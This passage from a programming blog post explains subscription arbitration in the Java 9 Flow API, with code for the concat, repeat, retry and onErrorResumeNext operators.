To let rollup know how to bundle our JS files, we have to create a configuration file, rollup.config.js:
We can actually pass our options to rollup using commands. But, to save ourselves from the stress of repeating, we created the js file, rollup.config.js to pass all our options to it. Upon execution, rollup reads the options in it and responds accordingly.
So, now we open up the rollup.config.js and add these following code:
// rollup.config.js const config = { input: 'src/countdown.js', external: ['react'], output: { format: 'umd', name: 'countdown', globals: { react: "React" } } } export default config
Let’s talk about what each of these does:
input: This is the bundle's entry point. It reads the file, then through it imports, draws up a list of files to bundle.
external: This is the array of modules that should remain external to our bundle.
output: This property defines how our output file will look like.
output.format: Defines the JS format to use (umd, cjs, es, amd, iife, system).
output.name: The name by which other scripts can access our module.
output.globals: Defines external dependency that our module relies on.
Rollup made it possible for devs to add their own functionalities to Rollup. These additional functionalities are called plugins. plugins allow you customize Rollup's behavior, by, for example, minifying your code for size or transpiling your code to match old browsers.
We will need some plugins to:
minify our code
add ES5 support
add JSX support
To minify our code we will use rollup-plugin-uglify . To add ES5 features and JSX support, Babel got us covered.
Babel is a project that transpiles ES5, ES6, ES7, and beyond into ES5, which can run on any browser.
Let’s talk about the Babel JSX support
JSX is a JS-XML formatting popularised by React.js used to render HTML on browsers. Our component, CountDown in its render method returns HTML-like syntax.
// src/countdown.js ... render () { return ( <div> <div> <h1>Countdown Clock</h1> <div id="clockdiv"> ... </div> ) } ...
It’s called JSX. JSX produces React elements from it. Before, React components are bundled and executed in browser there JSX compositions are transformed to React.createElement() calls. React uses Babel to transform the JSX. Our above code compiles down to:
... render () { return ( React.createElement('div',null, React.createElement('div',null, React.createElement('h1',null,'Countdown Clock'), React.createElement('div', props: { id: "clockdiv" }, ... ) ) ) } ...
React.createElement returns an object which ReactDOM uses to generate virtual DOM and render it on browser’s DOM.
So, before we bundle our component it has to be first transpiled to JS from its JSX. To do that we will need the babel plugin, babel-preset-react. To transpile to ES5 features we will need, rollup-plugin-babel.
Install rollup/babel plugins
List of our proposed plugins:
rollup-plugin-uglify
rollup-plugin-babel
babel-preset-react
NB: Babel preset is a set of plugins used to support a particular JS features.
All babel plugins or presets need the babel-core in order to work. So, we go ahead to install the babel-core module:
Next, we install our plugins:
npm i rollup-plugin-uglify rollup-plugin-babel babel-preset-react -D
All installed a dev dependency, not needed in production.
Create a .babelrc
To use babel plugins, there are two ways to configure it. The first is in package.json:
// package.json { babel: { "presets": [ "react" ] } }\
Second is in a file, .babelrc.
For this project, we are going to use the .babelrc approach. Configuring babel plugins is a way to tell babel which preset should be used in transpiling.
We create .babelrc in our project's root directory:
Inside, add the following:
{ "presets":[ "react" ] }
Update rollup.config.js
To use plugins, it must be specified in the plugins key of the rollup.config.js file.
First, we import the plugins:
// rollup.config.js import uglify from 'rollup-plugin-uglify' import babel from 'rollup-plugin-babel' ...
Then, we create a plugins array key and call all our imported plugins functions there:
// rollup.config.js import uglify from 'rollup-plugin-uglify' import babel from 'rollup-plugin-babel' ... plugins: [ babel({ exclude: "node_modules/**" }), uglify() ], ...
We added exclude key to babel function call to prevent it from transpiling scripts in the node_modules directory.
Update package.json
We will add a build key in our package.json scripts section. We will use it to run our rollup build process.
Open up package.json file and add the following:
... "scripts": { "build": "rollup -c -o dist/countdown.min.js", "test": "echo \"Error: no test specified\" && exit 1" }, ...
The command "rollup -c -o dist/countdown.min.js" bundles our component to dist folder, with the name countdown.min.js. Here, we overrode the name we gave it in rollup.config.js, so whatever Rollup doesn't get from command it gets from rollup.config.js if it exists.
Next, we will point our library entry point to dist/countdown.min.js. The entry point of any NPM library is defined in its package.json main key.
... "main": "dist/countdown.min.js", ...
Now, we are done setting up our Rollup/Babel and their configurations. Let’s compile our component:
This command will run "rollup -c -o dist/countdown.min.js". Like it was given it will create a folder dist/ in our project's root directory and put the bundled file countdown.min.js in it.
We are done bundling our library. It is now time to deploy it to NPM registry. But before we do that, we have to ignore some files from publishing alongside our library.
Our project directory by now will contain files and folders used to build the library:
dist/ src/ node_modules/ .babelrc package.json rollup.config.js
The dist folder is the folder we want to publish, so we don't want other folders and files to be also included alongside the dist folder. To do that we have to create a file, .npmignore. As the name implies, it tells NPM which folders and files to ignore when publishing our library.
So, we create the file:
Next, we add the folders/files we want to ignore to it:
src/ test/ .npmignore .babelrc rollup.config.js
Notice, there is no node_modules in it. NPM automatically ignores it.
Before we publish an NPM library, we must host the project on Git before publishing.
Create a new repository in any Version control website of your choice, then run these commands in your terminal:
git init && git add. git commit -m 'First release' && git add remote origin YOUR_REPO_GIT_URL_HERE git pull origin master && git push origin master
These commands initialize an empty repo, stages your files/folders, adds a remote repo to it and uploads your local repo to the remote repo.
Now, we run npm publish to push our library to NPM:
npm publish + @chidumennamdi/countdown-timer@0.0.1
See here!! we have successfully published a React library.
If the project name has already been taken in NPM. You can choose another name by changing the name property in package.json.
// package.json ... "name": "countdown-timer" ...
To consume our library, you can create a new React project, then pull in our library:
create-react-app react-lib-test cd react-lib-test npm i countdown-timer
Then, we import the component and render it:
// src/App.js import React, { Component } from 'react'; import CountDown from 'countdown-timer' class App extends Component { render() { return ( <CountDown /> ) } } export default App
I know this article is fairly complex to understand, that is what it takes to develop apps using modern JS development method.
We saw a lot of tools and their uses:
Rollup: used to bundle and minify our library
Babel: used to transform/transpile our library to run on any browser.
In the end, we saw how easy it was to extract a React JS component and publish it on NPM. All we did was write the library, bundle it using Rollup with help from Babel, tell Rollup to bundle it as a React dependency, and then run the npm publish command. That's all!!
Please, feel free to ask if you have any questions or comments in the comment section.
Thanks !!!
Your email address will not be published. Required fields are marked * | https://www.zeolearn.com/magazine/step-by-step-guide-to-deploy-react-component-as-an-npm-library | CC-MAIN-2020-34 | refinedweb | 2,732 | 67.45 |
updated copyright years
1: \ Etags support for GNU Forth. 2: 3: \ Copyright (C) 1995,1998: \ This does not work like etags; instead, the TAGS file is updated 23: \ during the normal Forth interpretation/compilation process. 24: 25: \ The present version has several shortcomings: It always overwrites 26: \ the TAGS file instead of just the parts corresponding to the loaded 27: \ files, but you can have several tag tables in emacs. Every load 28: \ creates a new etags file and the user has to confirm that she wants 29: \ to use it. 30: 31: \ Communication of interactive programs like emacs and Forth over 32: \ files is clumsy. There should be better cooperation between them 33: \ (e.g. via shared memory) 34: 35: \ This is ANS Forth with the following serious environmental 36: \ dependences: the variable LAST must contain a pointer to the last 37: \ header, NAME>STRING must convert that pointer to a string, and 38: \ HEADER must be a deferred word that is called to create the name. 39: 40: \ Changes by David: Removed the blanks before and after the explicit 41: \ tag name, since that conflicts with Emacs' auto-completition. In 42: \ fact those blanks are not necessary, since search is performed on 43: \ the tag-text, rather than the tag name. 44: 45: require search.fs 46: require extend.fs 47: 48: : tags-file-name ( -- c-addr u ) 49: \ for now I use just TAGS; this may become more flexible in the 50: \ future 51: s" TAGS" ; 52: 53: variable tags-file 0 tags-file ! 54: 55: create tags-line 128 chars allot 56: 57: : skip-tags ( file-id -- ) 58: \ reads in file until it finds the end or the loadfilename 59: drop ; 60: 61: : tags-file-id ( -- file-id ) 62: tags-file @ 0= if 63: tags-file-name w/o create-file throw 64: \ 2dup file-status 65: \ if \ the file does not exist 66: \ drop w/o create-file throw 67: \ else 68: \ drop r/w open-file throw 69: \ dup skip-tags 70: \ endif 71: tags-file ! 72: endif 73: tags-file @ ; 74: 75: 2variable last-loadfilename 0 0 last-loadfilename 2! 76: 77: : put-load-file-name ( file-id -- ) 78: >r 79: sourcefilename last-loadfilename 2@ d<> 80: if 81: #ff r@ emit-file throw 82: #lf r@ emit-file throw 83: sourcefilename 2dup | https://www.complang.tuwien.ac.at/cvsweb/cgi-bin/cvsweb/gforth/etags.fs?rev=1.12;hideattic=0;sortby=rev;f=h;only_with_tag=v0-6-0;ln=1 | CC-MAIN-2022-05 | refinedweb | 390 | 64.75 |
Configuring remote_write with Helm and Prometheus
In this guide you’ll learn how to configure Prometheus’s
remote_write feature to ship cluster metrics to Grafana Cloud.
This guide assumes you have installed the Prometheus Helm chart in your Kubernetes cluster using the Helm package manager. To learn how to install Helm on your local machine, please see Install Helm from the Helm documentation. To learn how to install the Prometheus chart, please see Install Chart from the Prometheus chart GitHub repo.
The Prometheus Helm chart installs and bootstraps a one-replica Prometheus Deployment into your Kubernetes cluster. It also sets up kube-state-metrics, Pushgateway, Alertmanager, and node-exporter. It additionally configures a default set of Kubernetes observability scraping jobs for Prometheus. It provides a more lightweight foundation to build from than kube-prometheus-stack and can be useful if you don’t want to use Prometheus Operator or run a local Grafana instance. To learn more, please see the Prometheus Helm chart GitHub repo.
If you did not use Helm to install Prometheus into your cluster or are using Prometheus Operator and the kube-prometheus stack, please see the relevant guide.
Step 1 — Create a Helm values file containing the remote_write configuration
In this step we’ll create a Helm values file to define parameters for Prometheus’s
remote_write configuration. A Helm values file allows you to set configuration variables that are passed in to Helm’s object templates. To see the default values file for the Prometheus Helm chart, consult values.yaml from the Prometheus Helm chart GitHub repository.
We’ll first create a values file defining Prometheus’s
remote_write configuration, and then apply this new configuration to the Prometheus deployment running in our cluster.
Open a file named
new_values.yaml in your favorite editor. Paste in the following values:
server: remoteWrite: - url: "<Your Metrics instance remote_write endpoint>" basic_auth: username: <your_grafana_cloud_prometheus_username> password: <your_grafana_cloud_API_key>
Here we set the
remote_write URL and
basic_auth username and password using our Grafana Cloud credentials.
When you’re done editing the file, save and close it.
Now that you’ve created a values file with your Prometheus
remote_write configuration, you can move on to upgrading the Prometheus Helm chart.
Step 2 — Upgrade the Prometheus Helm chart
Upgrade the Prometheus Helm chart with the values file you just created using
helm upgrade -f:
helm upgrade -f new_values.yml [your_release_name] prometheus-community/prometheus
Replace
[your_release_name] with the name of the release you used to install Prometheus. You can get a list of installed releases using
helm list.
After running
helm upgrade, you should see the following output:
Release "[your_release_name]" has been upgraded. Happy Helming! NAME: [your_release_name] LAST DEPLOYED: Thu Dec 10 16:41:33 2020 NAMESPACE: default STATUS: deployed REVISION: 2 TEST SUITE: None NOTES: The Prometheus server can be accessed via port 80 on the following DNS name from within your cluster: [your_release_name]-prometheus-server:
At this point, you’ve successfully configured Prometheus to
remote_write scraped metrics to Grafana Cloud. You can verify that your running Prometheus instance is remote_writing correctly using
port-forward.
First, get the Prometheus server Service name:
kubectl get svc
The Prometheus Service name should look something like
<your_release_name>-prometheus-server.
Next, use
port-forward to forward a local port to the Prometheus Service:
kubectl --namespace default port-forward svc/<prometheus-service-name> 9090:80
Replace
namespace with the appropriate namespace, and
<prometheus-service-name> with the name of the Prometheus service.
Navigate to in your browser, and then Status and Configuration. Verify that the
remote_write block you created above has propagated to your running Prometheus instance configuration. It may take a couple of minutes for the changes to get picked up by the running Prometheus instance.. | https://grafana.com/docs/grafana-cloud/metrics-kubernetes/remote_write_helm_prometheus/ | CC-MAIN-2021-43 | refinedweb | 616 | 61.06 |
In this article, we’ll take a look at implementing the itoa() function in C/C++.
This is a useful utility function which converts an integer into a null-terminated string.
However, it isn’t supported natively by most compilers, as it is not a part of the C standard.
Therefore, let’s take a look at using this function, by implementing it ourselves!.
Table of Contents
Basic Syntax of the itoa() function in C/C++
While this function may be available in some compilers, there is no function as such, in most of them.
The itoa() function takes in an integer
num, and stores it into
buffer. It also has an optional parameter
base, which converts it into the appropriate base.
By default,
base is set to 10 (decimal base).
After populating
buffer, it returns a pointer to the first character of
buffer, if the conversion is successful. Otherwise, it returns
NULL.
char* itoa(int num, char* buffer, int base)
Since there isn’t any default
itoa() function in most common C compilers, let’s implement it!
Implementing the itoa() function in C / C++
We’ll take a number, and convert it to a string. We’ll consider both positive and negative integers, and see how
itoa() handles them.
Although some websites may have implemented
itoa() by evaluating the digits from right to left and then reversing the string, we’ll use a different approach. t
We’ll evaluate the digits from left to right, with the help of certain function from the
<math.h> library.
We’ll follow the below procedure:
- Find the number of digits of
num. If
numis positive, we know that the number of digits will be
floor(log(num, base)) + 1. (Hint: This is pretty easy to derive using logarithms).
- If
numis negative, we will only consider the case where
base = 10, since we may need to use separate algorithms to evaluate for any base. We need to put the minus sign as the first digit!
- Start from the leftmost (highest) digit of
num, and keep adding the value to the buffer.
The complete program is shown below. You may be able to understand this better by reading through the code!
#include <stdio.h> #include <math.h> #include <stdlib.h> char* itoa(int num, char* buffer, int base) { int curr = 0; if (num == 0) { // Base case buffer[curr++] = '0'; buffer[curr] = '\0'; return buffer; } int num_digits = 0; if (num < 0) { if (base == 10) { num_digits ++; buffer[curr] = '-'; curr ++; // Make it positive and finally add the minus sign num *= -1; } else // Unsupported base. Return NULL return NULL; } num_digits += (int)floor(log(num) / log(base)) + 1; // Go through the digits one by one // from left to right while (curr < num_digits) { // Get the base value. For example, 10^2 = 1000, for the third digit int base_val = (int) pow(base, num_digits-1-curr); // Get the numerical value int num_val = num / base_val; char value = num_val + '0'; buffer[curr] = value; curr ++; num -= base_val * num_val; } buffer[curr] = '\0'; return buffer; } int main() { int a = 1234; char buffer[256]; if (itoa(a, buffer, 10) != NULL) { printf("Input = %d, base = %d, Buffer = %s\n", a, 10, buffer); } int b = -231; if (itoa(b, buffer, 10) != NULL) { printf("Input = %d, base = %d, Buffer = %s\n", b, 10, buffer); } int c = 10; if (itoa(c, buffer, 2) != NULL) { printf("Input = %d, base = %d, Buffer = %s\n", c, 2, buffer); } return 0; }
Output
Input = 1234, base = 10, Buffer = 1234 Input = -231, base = 10, Buffer = -231 Input = 10, base = 2, Buffer = 1010
NOTE: If you’re compiling with
gcc, use the
-lm flag to include the math library.
gcc -o test.out test.c -lm
Indeed, we were able to get it working. Not only did this work for integers, but only for other bases too!
Conclusion
Hopefully you were able to get an understanding to converting integers to strings using
itoa(), and possibly even implemented one yourself, using this guide!
For similar content, do go through our tutorial section on C programming | https://www.journaldev.com/40684/itoa-function-c-plus-plus | CC-MAIN-2021-21 | refinedweb | 665 | 62.48 |
.NET Tip: Basic Data Manipulation with LINQ
LINQ provides a flexible means to work with your data that wasn't available before. You now have access to SQL-like capabilites that you can apply to your own data types or to built-in data types. In this tip, you will learn how to sort your data and how to reshape the data that your LINQ query returns. To begin, set up some data for the examples that follow with a Person class and an array of Person objects:
public class Person { public string FirstName { get; set; } public string LastName { get; set; } public int Age { get; set; } public string Occupation { get; set; } } Person[] People = new Person[] { new Person { FirstName = "Jay", LastName = "Miller", Age = 41, Occupation = "Software Engineer" }, new Person { FirstName = "Bill", LastName = "Gates", Age = 52, Occupation = "Billionaire" }, new Person { FirstName = "George", LastName = "Bush", Age = 62, Occupation = "President" } };
This code defines a Person class with four properties to hold a first name, last name, age, and occupation. The People variable then is defined as an array of Person objects and initialized with three entries. Start by taking a look at how to sort the data. LINQ provides an orderby clause that you use with the from statement. The first example selects all of the items in People, sorts them by LastName then FirstName, and then outputs them to the Debug window. The code looks like this:
// Sort the list of people by LastName, FirstName var PeopleByName = from p in People orderby p.LastName ascending, p.FirstName ascending select p; foreach (var p in PeopleByName) Debug.Print(p.LastName + ", " + p.FirstName);
Here is the output from the above example:
Bush, George Gates, Bill Miller, Jay
As you would expect, the data was sorted in order by LastName. As you can see, orderby supports sorting on multiple keys and the ability to sort any given key in either ascending or descending order.
The other ability of LINQ I'd like to show you is reshaping the result or your query. In the first example, the select p clause simply returned each data element in its entirety. The select clause also enables you to return a data type that is different from the base data you are querying. In this example, I will return a new data type from the query that includes the Age property from the original data, as well as a Name that is a concatenation of the FirstName and LastName properties.
// Sort the list of people by Age and combine FirstName // and LastName into a single Name field var PeopleByAge = from p in People orderby p.Age descending select new { p.Age, Name = p.FirstName + " " + p.LastName }; foreach (var p in PeopleByAge) Debug.Print(p.Age + " " + p.Name);
Visual Studio can infer the data type that is returned from the query, so in the foreach loop that outputs each element, IntelliSense is available. This makes it extremely easy to reshape the data depending upon how you need to manipulate it and have full support in the IDE. I also changed the orderby clause to sort the data in descending order by Age so you can see an example of a different sort. The output looks like this:
62 George Bush 52 Bill Gates 41 Jay Miller
There is so much more that LINQ can do for you application. I was a little slow to realize just how big an impact LINQ could have on my applications. I hope that you explore LINQ's other abilities and find ways to simplify.
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How to install Spark?
We’ll explore 2 ways to install Spark :
- using Jupyter Notebooks
- using the Scala API
- using the Python API (PySpark)
Using Jupyter Notebooks
Programming in Scala in Jupyter notebooks requires installing a package to activate Scala Kernels:
pip install spylon-kernel python -m spylon_kernel install
Then, simply start a new notebook and select the
spylon-kernel.
Using Scala
To install Scala locally, download the Java SE Development Kit “Java SE Development Kit 8u181” from Oracle’s website. Make sure to use version 8, since there are some conflicts with higher vesions.
Then, on Apache Spark website, download the latest version. When I did the first install, version 2.3.1 for Hadoop 2.7 was the last.
Download the release, and save it in your Home repository. To know where it is located, type
echo $HOME in your Terminal. It usually is
/Users/YourName/.
To make sure that the installation is working, in your terminal, in your Home repository, type `(replace your version) :
cd spark-2.3.1-bin-hadoop2.7/bin ./spark-shell
Your terminal should look like this :
A user interface, called the Spark Shell application UI, should also be accessible on localhost:4040.
Finally, we need to install SBT, an open-source build tool for Scala and Java projects, similar to Java’s Maven and Ant.
Its main features are:
- Native support for compiling Scala code and integrating with many Scala test frameworks
- The continuous compilation, testing, and deployment
- Incremental testing and compilation (only changed sources are re-compiled, only affected tests are re-run, etc.)
- Build descriptions written in Scala using a DSL
- Dependency management using Ivy (which supports Maven-format repositories)
- Integration with the Scala interpreter for rapid iteration and debugging
- Support for mixed Java/Scala projects
Installed in the terminal using :
brew install sbt
To check that the installation is fully working, run :
./spark-shell
You should see a Scala interpreter :
Welcome to ____ __ / __/__ ___ _____/ /__ _\ \/ _ \/ _ `/ __/ '_/ /___/ .__/\_,_/_/ /_/\_\ version 2.3.1 /_/ Using Scala version 2.11.8 (Java HotSpot(TM) 64-Bit Server VM, Java 1.8.0_181) Type in expressions to have them evaluated. Type: help for more information. scala>
Using PySpark
For PySpark, simply run :
pip install pyspark
Then, in your terminal, launch:
pyspark
Observe that you now have access to a Python interpreter instead of a Scala one.
Welcome to ____ __ / __/__ ___ _____/ /__ _\ \/ _ \/ _ `/ __/ '_/ /__ / .__/\_,_/_/ /_/\_\ version 2.3.1 /_/ Using Python version 3.6.5 (default, Apr 26 2018 08:42:37) SparkSession available as 'spark'. >>>
Doing this install, your are also able to use PySpark in Jupyter notebooks by running :
import pyspark
Conclusion: I hope this tutorial was helpful. I’d be happy to answer any question you might have in the comments section. | https://maelfabien.github.io/bigdata/spark2/ | CC-MAIN-2020-40 | refinedweb | 489 | 64.51 |
1811 1812 1813 1814 1815 1816 1817 1818 1819 1820
Europe ends 22 years of war as America's 3-year War of 1812 draws to a close.
The Battle of La Rothière February 1 is a defeat for Napoleon at the hands of General von Blücher, whose various corps Napoleon then defeats at Champaubert, Montmitrail, Château-Thierry, and Vauchamps. Napoleon beats the main Prussian army at Nangis and Montereau, and refuses an Allied offer to restore the French frontier of 1792.
The Battle of Laon March 9 to 10 begins a series of reverses for Napoleon. Bordeaux falls to the duke of Wellington March 12, Napoleon loses the Battle of Arcis-sur-Aube March 20 to 21, the French are beaten March 25 at the Battle of La Fère-Champenoise, Allied troops storm Montmartre March 30, Marshal Marmont deserts Napoleon and surrenders the city, and the triumphant Allies enter Paris March 31.
A false rumor that Napoleon has abdicated turns out to be a scheme to make money on the London Exchange. Thomas Cochrane, Royal Navy, is among those tried on charges of having connived in the speculative fraud (see 1809); found guilty, he is expelled from Parliament, stripped of the order of the Bath that he was awarded in 1809, and given a prison sentence (see Chile, 1818).
Napoleon retreats to Fontainebleau, abdicates unconditionally April 11, and is awarded sovereignty of the 95-square-mile Mediterranean island of Elba with an annual income of 2 million francs to be paid by the French. His wife, Marie-Louise, receives the duchies of Parma, Piacenza, and Guastalla and retains her imperial title, as Napoleon does his. He arrives at Elba May 4, and the Treaty of Paris signed May 30 ends the war between France and the Sixth Coalition (Austria, Britain, Prussia, Russia, and Sweden). The Treaty enforces the emperor's abdication, restores France's 1792 borders, takes little other punitive action against France, but contains six secret articles stipulating that a congress shall be held at Vienna to decide the fate of the recovered territories. The former empress Josephine has died at Malmaison May 29 at age 50, having devoted her final years to further renovations of the château outside Paris.
France restores her monarchy with support from Marshal Messéna and some former revolutionists (including Bertrand Barère) who have shifted their loyalties to the crown: the 59-year-old comte de Provence, a brother of the late Louis XVI, will reign until 1824 as Louis XVIII (with a 100-day interruption next year). Charles Maurice de Talleyrand-Périgord, now 60, has been instrumental in restoring the monarchy, Louis names him to the post of foreign minister; Talleyrand's follower Emmerich Joseph Dalberg, 40, has also supported the recall of the Bourbons and Louis names him French plenipotentiary at the Congress of Vienna, which he attends with Talleyrand when it convenes October 1 to work out a European peace settlement. The consensus of the delegates is that Napoleon is to be punished but not the French people, and to avoid future revanchist sentiments they try to restore a new balance of power based on European dynasties of the ante bellum status quo. Lisbon-born Russian diplomat Karl Robert Vasilyevich, Graf Nesselrode, 34, represents Aleksandr I at the Congress and recommends that the czar support France's Bourbon restoration, but the French and Austrians make a secret agreement aimed at Russia, which is also represented by André Prince Rasoumoffski (or Rasumofsky, or Razumvoski), 62. The czar's Corfu-born Greek adviser Ioánnis Antónios, Count Kapodístrias, 38, is also in the Russian delegation and beginning early next year will be given responsibility in foreign affairs equal to that of Graf Nesselrode. Prince Adam Czartoryski represents Polish interests at the Congress (see 1795); now 45, he opposed the czar's campaign against Napoleon in 1805, was dismissed as foreign minister in 1806, but remained in Russian government service and now resumes his efforts to restore Poland (see 1830). Prussia's Friedrich Wilhelm III sends his son's onetime tutor Johann P. F. Ancillon to the Congress, where the Austrians, Prussians, and Russians collaborate to oppose liberalism (also representing Prussia's interests are Prince Karl August von Hardenberg, now 64, and scholar Wilhelm von Humboldt. Austrian diplomat Karl Philipp, Prince von Schwarzenberg, opposes Prussia's demand for all of Saxony, knowing that a Prussian-held Saxony would encircle Austrian-held Bohemia. Robert Stewart, Viscount Castlereagh, represents Britain, and many heads of state (the Austrian emperor, the Russian czar, the kings of Prussia, Denmark, Bavaria, and Württemberg, the elector Hesse, the grand duke of Baden, and the dukes of Brunswick, Coburg, and Saxe-Weimar) attend in person, dancing and gourmandizing as they celebrate the end of Napoleon's megalomania (but see 1815).
Spanish guerrilla leader Francisco Espoz y Mina, 32, leads an abortive Liberal coup against the monarchy at Pamplona but is forced to take refuge in France. He has served under the duke of Wellington in Navarre and gained distinction as an organizer and strategist.
The Treaty of Kiel signed January 14 ends hostilities between Sweden and Denmark; the latter cedes Norway to Sweden, thereby ending the union that has existed since 1380 and reducing the power of Denmark, although she retains Greenland, Iceland, and the Faroe Islands. Sweden has lost Finland and the Aland Islands to Russia in 1809, Norwegians take up arms to resist a Swedish takeover and try to elect the Danish prince Christian Frederick as their king, their political leaders assemble at Eidsvold April 10 to frame a declaration of independence and constitution, nationalist Christian Magnus Falsen, 31, draws up a liberal constitution providing for a single-chamber assembly (Storting) and denying the king his former right to dissolve the assembly or exercise absolute veto power, Sweden agrees May 17 to accept the new constitution and a personal union rather than annexation, and the Norwegians accept Sweden's Karl XIII as their king after an invasion by Crown Prince Jean Baptiste Bernadotte; the union of Norway and Sweden will continue until 1905 (see 1815).
The kingdom of the Netherlands is created by a union of the Austrian Netherlands (Belgium) and Holland under terms of the June 21 Protocol of the Eight Articles concluded between the prince of Orange (who becomes King Willem I) and the allied powers (see 1815).
Former British governor general of India Gilbert Elliot-Murray-Kynmound, 1st earl of Minto, dies at Stevenage, Hertfordshire, June 21 at age 63; former commander in chief of the British Army in North America William Howe, 5th Viscount Howe, at Plymouth, Devonshire, July 12 at age 84; former British governor of New South Wales Admiral Arthur Phillip at Bath August 31 at age 75.
Maria Carolina of Naples dies at Vienna September 8 at age 62 (the British ambassador Lord George Bentinck persuaded her husband, Ferdinand IV, to exile her from Sicily 3 years ago and she has returned to her native Austria).
The Battle of Chippewa July 5 on the west bank of the Niagara River pits 1,500 British regulars against about 1,300 Americans who have invaded Ontario under the command of Pennsylvania-born General Jacob (Jennings) Brown, 37, who has replaced General James Wilkinson after the latter's spectacular failure at Montreal. General Sir Phineas Riall commands the British, who fall back after losing 236 dead, 322 wounded, and 46 taken prisoner (U.S. losses total 61 killed, 255 wounded, 46 captured).
The Battle of Lundy's Lane near Niagara Falls in Canada July 25 ends with both British and U.S. forces claiming victory. The bitterly contested 5-hour battle begins with about 1,000 British troops under General Sir George Gordon fighting an equal number of Americans under General Jacob Brown; the British force grows to 3,000, the American to 2,600, and Brown withdraws by night to Fort Erie, having been wounded in the action and having lost 171 killed, 572 wounded, 110 missing or taken prisoner (the British have lost 84 dead, 559 wounded, 235 missing or captured). Acclaimed as a hero is Virginia-born Brig. Gen. Winfield Scott, 28, who distinguished himself earlier at the Battle of Chippewa and has been wounded twice in the fighting.
British troops from H.M.S. Ramillies land at Stonington, Connecticut, August 10 but townsmen drive them off.
The Battle of Bladensburg four miles from Washington, D.C., August 24 ends in a rout of about 6,500 untrained state militiamen by an advance guard of some 1,500 British regulars, most of whom have served in the Peninsular War. Admiral Sir George Cockburn, Royal Navy, has announced his intention of taking President Madison's wife, Dolley, hostage and parading her through the streets of London. He has sailed into the Chesapeake Bay, but a fleet of barges organized by Commodore Joshua Barney, now 55, has impeded his advance; a landing force of about 4,000 has come ashore without cavalry at Bendict on the Patuxent River under the command of General Robert Ross, the U.S. defenders hastily assembled by Secretary of War John Armstrong, 55, skedaddle when the British fire portable Congreve rockets (they have brought only two small artillery pieces). Commodore Barney has abandoned his barges and marched 500 regular marines and seamen to defend the capital, he mounts a few ships' guns on carriages at the center of General William H. Winder's position, but his men are quickly overrun. Barney is wounded, and the British march into the city after sustaining 64 killed, 185 wounded (26 Americans are killed, 51 wounded, about 100 taken prisoner). The British loot Washington and set fire to most of its public buildings, including the unfinished Capitol building and the 12-year-old executive mansion. With the enemy closing in and her husband away with his troops (he has warned her to be ready to leave at a moment's notice), Dolley Madison orders that the Gilbert Stuart painting of George Washington be removed from its frame and given to some friends for safekeeping; she collects copies of vital state documents, gathers up whatever silver she can, disguises herself as a farm wife, and escapes through Georgetown (by some accounts she took over some of the president's duties when he fell deathly ill last year). British officers find that dinner has been prepared and enjoy a fine meal at the executive mansion before having its mattresses, carpets, costly damask-covered furniture, and draperies piled into the center of its ground-floor rooms, pouring lamp oil over the piles, and ordering lighted lances to be thrown through its broken windows; gutted by fire, the building's interior goes up in smoke, but a rainstorm saves its outer walls and they will be repainted to create the "White House." The glow of the fires can be seen 45 miles away at Baltimore, and the President's House will take 3 years to restore, but the British decamp after 26 hours lest their escape route be cut off. The loss at Bladensburg teaches the government that green state militia cannot be relied upon for the nation's defense; Secretary of War Armstrong resigns under pressure in September, having failed to provide the men and equipment needed to defend Washington, and Congress meets in temporary quarters while repairs are made on the Capitol building.
A U.S. naval force under Lieut. Thomas Macdonough Jr. defeats and captures a British squadron on Lake Champlain September 11 in the Battle of Plattsburgh (see 1813), and 14,000 British troops that have invaded New York from Canada under the command of Sir George Prevost are forced to retire as the War of 1812 winds down. General Alexander Macomb has led the 2,500 state militia who support the 1,500 regulars at Plattsburgh, but it is Macdonough's 14-ship squadron that wins the day. Governor Daniel Tompkins has been obliged to borrow large sums, often on his own personal credit, to field and supply New York's state militia.
Royal Navy ships bombard Baltimore's Fort McHenry September 14; Georgetown, Maryland, lawyer Francis Scott Key, 34, witnesses the bombardment, having been sent on a mission to obtain the exchange of an American held aboard a British ship.
Congress awards more than $4 million to Mississippi Territory landowners with valid claims to property involved in the 1795 Yazoo land fraud (see 1810).
Vice President Elbridge Gerry dies of a pulmonary hemorrhage en route to the Senate Chamber at Washington, D.C., November 23 at age 70.
The Treaty of Ghent December 24 ends the War of 1812. Americans have feared that the defeat of Napoleon would free the British to redirect all their energies to bringing their former colonists to heel, but the duke of Wellington has advised his government not to pursue hostilities in light of developments at the Congress of Vienna. Britain's debts have been mounting at a fearsome rate, her agriculture is in distress, U.S. privateers have taken such a heavy toll on British merchant ships that maritime insurance rates in the Mediterranean have reached 28 percent, and Lieut. Mcdonough's victory on Lake Champlain has dampened any remaining British enthusiasm to continue; former secretary of the treasury Albert Gallatin plays a key role in drafting the peace treaty, whose terms permit hostilities to continue until the treaty is ratified (see Battle of New Orleans, 1815).
Civil war erupts in the Rio de la Plata region shared by Argentina and what will become Uruguay (see 1811). Revolutionist José Gervasio Artigas rules over an area of about 350,000 square miles (see 1820).
Britain gains formal possession of the 83,000-square-mile South American country that will be called British Guiana (later Guayana). It will remain a British colony until 1966.
The rebel Mexican congress at Apatzingán adopts an egalitarian constitution October 22 (see 1813), but the congressmen are hard pressed to stay clear of Spanish royalist forces and must move from place to place under the protection of guerrilla forces fielded by José María Morelos (see 1815).
Spanish authorities in San Salvador suppress an uprising that has even more popular support than the one 3 years ago but is more quickly snuffed out; Manuel Arce is imprisoned, and will remain incarcerated for more than 4 years (see 1823).
human rights, social justice
Britain and the United States agree to cooperate in suppressing the slave trade under terms of the Treaty of Ghent (see 1807), but the trade will actually expand as U.S. clipper ships built at Baltimore and at Rhode Island ports outsail ponderous British men-of-war to deliver cargoes of slaves.
Holland abandons the slave trade (see Denmark, 1803; Sweden, 1813).
The "Battle" of Horseshoe Bend in Alabama Territory March 27 pits 3,000 militiamen under the command of General Andrew Jackson against about 1,000 Creek warriors (see 1813); Jackson's men use their cannon and rifles to slaughter more than 800 men and imprison 500 women and children, ending Creek resistance in the territory. Some of the Creek have fought as Jackson's allies, but the Treaty of Fort Jackson signed August 9 requires the tribe (which numbers about 20,000) to cede 23 million acres that constitute more than half of Alabama and part of Georgia.
Lancashire mill owner Robert Owen joins with Quaker philanthropist William Allen and utilitarian philosopher Jeremy Bentham in a program to ameliorate living conditions of all millhands (see 1809). Bentham is famous for his 1789 Principles of Morals and Legislation; Owen stated last year in A New View of Society that human character is determined entirely by environment (see 1824; 1828).
